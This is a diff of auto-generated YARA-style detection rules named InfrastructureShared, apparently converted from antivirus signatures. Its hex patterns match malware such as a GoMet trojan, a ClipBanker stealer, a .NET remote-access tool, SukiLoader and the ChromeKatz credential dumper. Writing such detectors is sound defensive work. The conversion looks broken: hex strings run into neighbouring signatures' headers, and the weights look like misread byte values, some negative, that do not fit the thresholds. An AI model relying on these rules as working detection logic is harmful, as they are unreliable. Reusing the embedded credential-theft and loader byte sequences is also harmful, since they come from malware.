"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -151983,7 +162216,7 @@ rule _InfrastructureShared_13460{ ((#a_6f_0 & 1)*21539+(#a_b6_1 & 1)*577+(#a_c2_2 & 1)*2133+(#a_89_3 & 1)*-18929) >=7 } -rule _InfrastructureShared_13461{ +rule _InfrastructureShared_14352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -151997,7 +162230,7 @@ rule _InfrastructureShared_13461{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*30464+(#a_6f_2 & 1)*12108+(#a_3e_3 & 1)*15917+(#a_01_4 & 1)*12344) >=7 } -rule _InfrastructureShared_13462{ +rule _InfrastructureShared_14353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -152014,7 +162247,7 @@ rule _InfrastructureShared_13462{ ((#a_54_0 & 1)*18467+(#a_3e_1 & 1)*15917+(#a_30_2 & 1)*11582+(#a_4c_3 & 1)*21539+(#a_50_4 & 1)*19457+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_13463{ +rule _InfrastructureShared_14354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -152032,7 +162265,7 @@ rule _InfrastructureShared_13463{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*19457+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_c3_5 & 1)*0+(#a_42_6 & 1)*21505+(#a_75_7 & 1)*275+(#a_00_8 & 1)*101) >=9 } -rule _InfrastructureShared_13464{ +rule _InfrastructureShared_14355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -152049,7 +162282,7 @@ rule _InfrastructureShared_13464{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*265+(#a_00_2 & 1)*101+(#a_2f_3 & 1)*6656+(#a_00_5 & 1)*101+(#a_00_6 & 1)*111+(#a_dc_7 & 1)*400+(#a_01_8 & 1)*28421) >=10 } -rule _InfrastructureShared_13465{ +rule _InfrastructureShared_14356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -152062,7 +162295,7 @@ rule _InfrastructureShared_13465{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*302+(#a_00_3 & 1)*97+(#a_38_4 & 1)*769) >=12 } -rule _InfrastructureShared_13466{ +rule _InfrastructureShared_14357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -152075,7 +162308,7 @@ rule _InfrastructureShared_13466{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28616+(#a_11_2 & 1)*400+(#a_04_3 & 1)*-28616) >=13 } -rule _InfrastructureShared_13467{ +rule _InfrastructureShared_14358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -152090,7 +162323,7 @@ rule _InfrastructureShared_13467{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*25711+(#a_00_2 & 1)*15+(#a_6a_3 & 1)*29268+(#a_6e_4 & 1)*29300+(#a_21_5 & 1)*13904) >=15 } -rule _InfrastructureShared_13468{ +rule _InfrastructureShared_14359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -152104,7 +162337,7 @@ rule _InfrastructureShared_13468{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*400+(#a_60_2 & 1)*2563+(#a_00_4 & 1)*104+(#a_65_5 & 1)*270) >=15 } -rule _InfrastructureShared_13469{ +rule _InfrastructureShared_14360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 09 00 21 " @@ -152113,28 +162346,41 @@ rule _InfrastructureShared_13469{ $a_00_2 = {4d 00 25 00 65 00 25 00 74 00 25 00 68 00 25 00 6f 00 25 00 64 0a 00 1a 00 40 00 49 00 40 00 6e 00 40 00 76 00 } //116 $a_00_3 = {40 00 6b 00 40 00 65 00 40 00 01 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 00 00 78 c3 00 00 58 02 58 02 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 4d 65 74 2e 47 65 6e 21 64 68 61 00 64 00 14 01 6d 61 69 6e 2e 67 65 74 4c 6f 63 6b 66 69 } //64 $a_61_4 = {65 64 00 18 01 6d 61 69 6e 2e 67 65 74 48 65 78 53 75 6d 46 72 6f 6d 53 74 72 69 6e 67 64 00 1b 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e 68 61 6e 64 6c 65 53 65 73 73 69 6f 6e 64 00 14 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e } //25964 - $a_74_5 = {6e 64 00 15 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e 63 6f 6e 6e 65 63 74 64 00 12 01 6d 61 69 6e 2e 6f 70 65 6e 4e 65 77 53 74 72 65 61 6d 00 00 78 c3 00 00 64 00 64 00 03 00 21 23 41 4c 46 3a 46 72 61 6d 57 6f 72 6b 4e 65 74 52 41 54 21 64 68 61 00 01 00 30 01 4e 65 74 46 72 61 6d 77 6f 72 6b 2e 65 78 65 00 6d 73 63 6f 72 6c 69 62 00 53 } //26988 - $a_72_6 = {73 73 49 6c 64 61 73 6d 41 74 74 72 69 62 75 74 65 01 00 44 01 2f 00 6c 00 6f 00 67 00 66 00 69 00 6c 00 65 00 3d 00 20 00 2f 00 4c 00 6f 00 67 00 54 00 6f 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 3d 00 66 00 61 00 6c 00 73 00 65 00 20 00 2f 00 75 00 20 00 22 00 01 00 20 01 5c 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 55 00 74 } //28789 - $a_00_8 = {78 00 65 00 00 00 03 00 78 c4 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 67 65 6e 21 4a 44 2e 32 00 01 00 27 03 8b 09 c7 c7 80 90 01 02 00 00 01 07 00 01 c7 80 90 01 02 00 00 00 6a 00 e8 90 09 07 00 c7 80 90 01 02 00 00 00 90 00 01 } //46 + $a_74_5 = {6e 64 00 15 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e 63 6f 6e 6e 65 63 74 64 00 12 01 6d 61 69 6e 2e 6f 70 65 6e 4e 65 77 53 74 72 65 61 6d 00 00 78 c3 00 00 5a 00 5a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 4d 52 21 4d 54 42 00 32 00 32 01 11 0e 1e 62 3b 84 fd ff ff 00 11 0b 1e 63 13 } //26988 + $a_17_6 = {13 06 20 6e 18 80 } //4366 + $a_1d_7 = {00 7e 0b 00 00 04 13 08 11 08 5f 61 11 08 11 08 59 61 16 14 00 35 01 11 06 11 06 58 20 cc df ff ff 59 20 0b 1e 00 00 61 16 2e 05 38 fa 00 00 00 20 ed 03 f8 ff 11 06 60 66 11 06 5a 17 5f 16 2e 11 00 11 06 66 1f 40 5f 1f 40 2e 06 14 00 24 01 75 44 4b 36 71 34 4a 67 61 64 39 67 38 4e 54 4d 4b 75 57 4a 61 6f 76 52 42 43 78 76 4b 58 4d 59 7a 74 61 75 00 00 78 c3 00 00 64 00 64 00 03 00 21 23 41 4c 46 3a 46 72 61 6d 57 6f 72 6b 4e 65 74 } //8192 + $a_21_8 = {68 61 00 01 00 30 01 4e 65 74 46 72 61 6d 77 6f 72 6b 2e 65 78 65 00 6d 73 63 6f 72 6c 69 62 00 53 75 70 70 72 65 73 73 49 6c 64 61 73 6d 41 74 74 72 69 62 75 74 65 01 00 44 01 2f 00 6c 00 6f 00 67 00 66 00 69 00 6c 00 65 00 3d 00 20 00 2f 00 4c 00 6f } //16722 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_3 & 1)*64+(#a_61_4 & 1)*25964+(#a_74_5 & 1)*26988+(#a_72_6 & 1)*28789+(#a_00_8 & 1)*46) >=27 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_3 & 1)*64+(#a_61_4 & 1)*25964+(#a_74_5 & 1)*26988+(#a_17_6 & 1)*4366+(#a_1d_7 & 1)*8192+(#a_21_8 & 1)*16722) >=27 } -rule _InfrastructureShared_13470{ +rule _InfrastructureShared_14361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,58 02 58 02 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 4d 65 74 2e 47 65 6e 21 64 68 61 00 64 00 14 01 6d 61 69 6e 2e 67 65 74 4c 6f 63 6b 66 69 6c 65 4e 61 6d 65 64 00 18 01 6d 61 69 6e 2e 67 65 74 48 65 78 53 75 6d 46 72 6f 6d 53 74 72 } //16675 $a_64_1 = {1b 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e 68 61 6e 64 6c 65 53 65 73 73 69 6f 6e 64 00 14 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e 6c 69 73 74 65 6e 64 00 15 01 6d 61 69 6e 2e 28 2a 41 67 65 6e 74 29 2e 63 6f 6e 6e 65 63 74 64 00 12 01 6d 61 69 6e 2e 6f 70 65 6e 4e 65 77 53 74 72 65 61 6d 00 00 78 } //28265 - $a_00_3 = {21 23 41 } //100 !#A - $a_46_4 = {61 6d 57 6f 72 6b 4e 65 74 52 41 54 21 64 68 61 00 01 00 30 01 4e 65 74 46 72 61 6d 77 6f 72 6b 2e 65 78 65 00 6d 73 63 6f 72 6c 69 62 00 53 75 70 70 72 65 73 73 49 6c 64 61 } //17996 - $a_74_5 = {72 69 62 75 74 65 01 00 44 01 2f 00 6c 00 6f 00 67 00 66 00 69 00 6c 00 65 00 3d 00 20 00 2f 00 4c 00 6f 00 67 00 54 00 6f 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 3d 00 66 00 61 00 6c 00 73 } //28019 + $a_00_3 = {21 23 54 } //90 !#T + $a_54_4 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 4d 52 21 4d 54 42 00 32 00 32 01 11 0e 1e 62 3b 84 fd ff ff 00 11 0b 1e 63 13 0e 11 06 17 58 13 06 20 6e 18 80 } //19525 + $a_1d_5 = {00 7e 0b 00 00 04 13 08 11 08 5f 61 11 08 11 08 59 61 16 14 00 35 01 11 06 11 06 58 20 cc df ff ff 59 20 0b 1e 00 00 61 16 2e 05 38 fa 00 00 00 20 ed 03 f8 ff 11 06 60 66 11 06 5a 17 5f 16 2e 11 00 11 06 66 1f 40 5f 1f 40 2e 06 14 00 24 01 75 44 4b 36 71 34 4a 67 61 64 39 67 38 4e 54 4d 4b 75 57 4a 61 6f 76 52 42 43 78 76 4b 58 4d 59 7a 74 61 75 00 00 78 c3 00 00 64 00 64 00 03 00 21 23 41 4c 46 3a 46 72 61 6d 57 6f 72 6b 4e 65 74 } //8192 condition: - ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28265+(#a_00_3 & 1)*100+(#a_46_4 & 1)*17996+(#a_74_5 & 1)*28019) >=600 + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28265+(#a_00_3 & 1)*90+(#a_54_4 & 1)*19525+(#a_1d_5 & 1)*8192) >=600 } -rule _InfrastructureShared_13471{ +rule _InfrastructureShared_14362{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5a 00 5a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 4d 52 21 4d 54 42 00 32 00 32 01 11 0e 1e 62 3b 84 fd ff ff 00 11 0b 1e 63 13 0e 11 06 17 58 13 06 20 6e 18 80 00 20 91 1d 00 00 7e 0b 00 } //21539 + $a_08_1 = {11 08 5f 61 11 08 11 08 59 61 16 14 00 35 01 11 06 11 06 } //1024 + $a_df_2 = {ff 59 20 0b 1e 00 00 61 16 2e 05 38 fa 00 00 00 20 ed 03 f8 ff 11 06 60 66 11 06 5a 17 5f 16 2e 11 00 11 06 66 1f 40 5f 1f 40 2e 06 14 00 24 01 75 44 4b 36 71 34 4a 67 61 64 39 67 38 4e 54 4d 4b 75 57 4a 61 6f 76 52 42 43 78 76 4b 58 4d 59 7a 74 61 75 00 00 78 c3 00 00 64 00 64 00 03 00 21 23 41 4c 46 3a 46 72 61 6d 57 6f 72 6b 4e 65 74 52 41 54 21 64 68 61 00 01 00 30 01 4e 65 74 46 72 61 6d 77 6f 72 6b 2e 65 78 65 00 6d 73 63 6f 72 6c 69 62 00 53 75 70 70 72 65 73 73 49 6c 64 61 73 6d 41 74 74 72 69 62 75 74 65 01 00 44 01 2f 00 6c 00 6f 00 67 00 66 00 69 00 6c 00 65 00 3d 00 20 00 2f 00 4c 00 6f 00 67 } //8280 + condition: + ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*1024+(#a_df_2 & 1)*8280) >=90 + +} +rule _InfrastructureShared_14363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -152145,7 +162391,7 @@ rule _InfrastructureShared_13471{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*103) >=100 } -rule _InfrastructureShared_13472{ +rule _InfrastructureShared_14364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -152157,7 +162403,7 @@ rule _InfrastructureShared_13472{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*23947+(#a_61_2 & 1)*25088) >=1 } -rule _InfrastructureShared_13473{ +rule _InfrastructureShared_14365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -152170,7 +162416,7 @@ rule _InfrastructureShared_13473{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24320+(#a_75_2 & 1)*23653+(#a_36_3 & 1)*13876) >=1 } -rule _InfrastructureShared_13474{ +rule _InfrastructureShared_14366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -152184,7 +162430,7 @@ rule _InfrastructureShared_13474{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*17462+(#a_35_2 & 1)*13363+(#a_65_3 & 1)*26950+(#a_00_4 & 1)*1026) >=1 } -rule _InfrastructureShared_13475{ +rule _InfrastructureShared_14367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152195,7 +162441,7 @@ rule _InfrastructureShared_13475{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28568) >=2 } -rule _InfrastructureShared_13476{ +rule _InfrastructureShared_14368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152205,7 +162451,7 @@ rule _InfrastructureShared_13476{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13477{ +rule _InfrastructureShared_14369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152216,7 +162462,7 @@ rule _InfrastructureShared_13477{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*-11687) >=2 } -rule _InfrastructureShared_13478{ +rule _InfrastructureShared_14370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152226,7 +162472,7 @@ rule _InfrastructureShared_13478{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13479{ +rule _InfrastructureShared_14371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152236,7 +162482,7 @@ rule _InfrastructureShared_13479{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13480{ +rule _InfrastructureShared_14372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152246,7 +162492,7 @@ rule _InfrastructureShared_13480{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13481{ +rule _InfrastructureShared_14373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -152259,7 +162505,7 @@ rule _InfrastructureShared_13481{ ((#a_54_0 & 1)*18467+(#a_db_1 & 1)*73+(#a_6f_2 & 1)*29554+(#a_42_3 & 1)*24427) >=2 } -rule _InfrastructureShared_13482{ +rule _InfrastructureShared_14374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -152272,7 +162518,7 @@ rule _InfrastructureShared_13482{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*26980+(#a_00_2 & 1)*26978+(#a_6f_3 & 1)*23662) >=2 } -rule _InfrastructureShared_13483{ +rule _InfrastructureShared_14375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -152284,7 +162530,7 @@ rule _InfrastructureShared_13483{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*26223+(#a_54_2 & 1)*17996) >=3 } -rule _InfrastructureShared_13484{ +rule _InfrastructureShared_14376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -152294,7 +162540,7 @@ rule _InfrastructureShared_13484{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_13485{ +rule _InfrastructureShared_14377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -152304,7 +162550,7 @@ rule _InfrastructureShared_13485{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_13486{ +rule _InfrastructureShared_14378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -152316,7 +162562,7 @@ rule _InfrastructureShared_13486{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*-25390+(#a_01_2 & 1)*10496) >=3 } -rule _InfrastructureShared_13487{ +rule _InfrastructureShared_14379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -152329,7 +162575,7 @@ rule _InfrastructureShared_13487{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*21838+(#a_7c_2 & 1)*31761+(#a_00_3 & 1)*144) >=3 } -rule _InfrastructureShared_13488{ +rule _InfrastructureShared_14380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -152337,12 +162583,25 @@ rule _InfrastructureShared_13488{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 75 73 69 6f 6e 44 72 69 76 65 2e 42 21 64 68 61 00 03 00 32 03 48 8b 4e 08 4c 8b 06 48 83 e9 04 74 90 01 01 0f 1f 00 42 0f b6 44 03 04 88 04 13 48 ff c3 48 3b d9 72 90 01 01 48 } //16675 $a_90_1 = {01 33 c9 ff d2 90 00 02 00 23 03 25 73 20 25 30 34 64 20 73 70 25 31 64 2e 25 31 64 20 25 73 90 02 08 25 73 } //21643 $a_73_2 = {63 25 73 90 00 01 00 13 01 42 0f b6 04 01 48 8d 49 01 34 6d 88 41 ff 48 83 ea 01 75 01 00 1c 01 f3 0f 6f 44 0c } //25381 - $a_10_3 = {66 0f ef c1 f3 41 0f 7f 04 08 48 83 c1 10 48 83 f9 10 7c 00 00 78 c4 00 00 03 00 03 00 04 00 21 23 54 45 4c 3a 50 57 53 3a 57 69 6e 36 34 2f 43 68 72 6f 6d 65 4b 61 74 7a 2e 43 00 01 00 29 01 5b 2a 5d 20 46 6f 75 6e 64 20 25 49 75 20 69 6e 73 74 61 6e 63 65 73 20 6f 66 20 43 72 65 64 65 6e 74 69 61 6c 4d 61 70 21 01 00 28 01 5b 2a 5d 20 4e 75 6d 62 65 72 20 6f 66 20 61 76 61 69 6c 61 62 6c 65 20 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 25 49 75 01 00 21 01 5b 2a 5d 20 54 68 69 73 20 63 72 65 64 65 6e 74 69 61 6c 20 6d 61 70 20 77 61 73 20 65 6d 70 74 79 01 00 1d 01 5b 2b 5d 20 } //-31968 + $a_10_3 = {66 0f ef c1 f3 41 0f 7f 04 08 48 83 c1 10 48 83 f9 10 7c 00 00 78 c4 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 6b 69 4c 6f 61 64 65 72 2e 43 21 64 68 61 00 01 00 14 01 4c 6f 61 64 65 72 32 2e 64 6c 6c 00 41 6c 6c 45 78 70 55 57 01 00 0a 01 42 69 6e 54 6f 43 61 6c 63 57 01 00 12 01 45 6e 63 72 79 70 74 69 6f 6e 20 65 72 72 6f 72 3a 20 03 00 55 42 41 0f b6 c7 32 05 90 01 04 88 45 90 01 01 4c 8b 35 90 01 04 41 0f b6 c6 32 05 90 01 04 88 45 90 01 01 48 8b 35 90 01 04 40 0f b6 c6 32 05 90 01 04 88 45 90 01 01 48 8b 3d 90 01 04 } //-31968 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*21643+(#a_73_2 & 1)*25381+(#a_10_3 & 1)*-31968) >=3 } -rule _InfrastructureShared_13489{ +rule _InfrastructureShared_14381{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 6b 69 4c 6f 61 64 65 72 2e 43 21 64 68 61 00 01 00 14 01 4c 6f 61 64 65 72 32 2e 64 6c 6c 00 41 6c 6c 45 78 70 55 57 01 00 0a 01 42 69 6e 54 6f 43 61 6c 63 57 01 00 12 01 45 } //16675 + $a_79_1 = {74 69 6f 6e 20 65 72 72 6f 72 3a 20 03 00 55 42 41 0f b6 c7 32 05 90 01 04 88 45 90 01 01 4c 8b 35 90 01 04 41 0f b6 c6 32 05 90 01 04 88 45 90 01 01 48 8b 35 90 01 04 40 0f b6 c6 32 05 90 01 04 88 45 90 01 01 48 8b 3d 90 01 04 40 0f b6 c7 32 05 90 01 04 88 45 90 01 01 48 8b 1d 90 01 04 0f b6 c3 90 00 00 00 78 c4 00 00 03 00 03 00 04 00 21 } //25454 + $a_4c_2 = {50 57 53 3a 57 69 6e 36 34 2f 43 68 72 6f 6d 65 4b 61 74 7a 2e 43 00 01 00 29 01 5b 2a 5d 20 46 6f 75 6e 64 20 25 49 75 20 69 6e 73 74 61 6e 63 65 73 20 6f 66 20 43 72 65 64 65 6e 74 69 61 6c 4d 61 70 21 01 } //21539 + $a_5b_3 = {5d } //10240 ] + condition: + ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25454+(#a_4c_2 & 1)*21539+(#a_5b_3 & 1)*10240) >=3 + +} +rule _InfrastructureShared_14382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -152355,7 +162614,7 @@ rule _InfrastructureShared_13489{ ((#a_4c_0 & 1)*21539+(#a_5b_1 & 1)*10240+(#a_6d_2 & 1)*20000+(#a_48_3 & 1)*17996) >=3 } -rule _InfrastructureShared_13490{ +rule _InfrastructureShared_14383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -152367,7 +162626,7 @@ rule _InfrastructureShared_13490{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29029+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_13491{ +rule _InfrastructureShared_14384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -152380,7 +162639,7 @@ rule _InfrastructureShared_13491{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29281+(#a_00_2 & 1)*0+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_13492{ +rule _InfrastructureShared_14385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -152393,7 +162652,7 @@ rule _InfrastructureShared_13492{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4629+(#a_50_2 & 1)*19787+(#a_6c_3 & 1)*24864) >=4 } -rule _InfrastructureShared_13493{ +rule _InfrastructureShared_14386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -152406,7 +162665,7 @@ rule _InfrastructureShared_13493{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25966+(#a_61_2 & 1)*28530+(#a_50_3 & 1)*28518) >=4 } -rule _InfrastructureShared_13494{ +rule _InfrastructureShared_14387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -152420,7 +162679,7 @@ rule _InfrastructureShared_13494{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*17153+(#a_6e_2 & 1)*108+(#a_5c_3 & 1)*25449+(#a_74_4 & 1)*16641) >=4 } -rule _InfrastructureShared_13495{ +rule _InfrastructureShared_14388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152434,7 +162693,7 @@ rule _InfrastructureShared_13495{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*8299+(#a_3a_2 & 1)*19521+(#a_31_3 & 1)*25974+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_13496{ +rule _InfrastructureShared_14389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152447,7 +162706,7 @@ rule _InfrastructureShared_13496{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_41_3 & 1)*8448+(#a_01_4 & 1)*601) >=5 } -rule _InfrastructureShared_13497{ +rule _InfrastructureShared_14390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152461,7 +162720,7 @@ rule _InfrastructureShared_13497{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2563+(#a_00_2 & 1)*28001+(#a_65_3 & 1)*385+(#a_6c_4 & 1)*25940) >=5 } -rule _InfrastructureShared_13498{ +rule _InfrastructureShared_14391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152474,7 +162733,7 @@ rule _InfrastructureShared_13498{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*4367+(#a_6d_2 & 1)*18261+(#a_3a_3 & 1)*24938) >=5 } -rule _InfrastructureShared_13499{ +rule _InfrastructureShared_14392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152486,7 +162745,7 @@ rule _InfrastructureShared_13499{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_4 & 1)*110) >=5 } -rule _InfrastructureShared_13500{ +rule _InfrastructureShared_14393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152500,7 +162759,7 @@ rule _InfrastructureShared_13500{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*24948+(#a_57_2 & 1)*21076+(#a_69_3 & 1)*30066+(#a_67_4 & 1)*26988) >=5 } -rule _InfrastructureShared_13501{ +rule _InfrastructureShared_14394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152513,7 +162772,7 @@ rule _InfrastructureShared_13501{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*8293+(#a_48_3 & 1)*8448+(#a_6b_4 & 1)*29811) >=5 } -rule _InfrastructureShared_13502{ +rule _InfrastructureShared_14395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152527,7 +162786,7 @@ rule _InfrastructureShared_13502{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_c4_4 & 1)*0) >=5 } -rule _InfrastructureShared_13503{ +rule _InfrastructureShared_14396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -152539,19 +162798,32 @@ rule _InfrastructureShared_13503{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26994+(#a_48_4 & 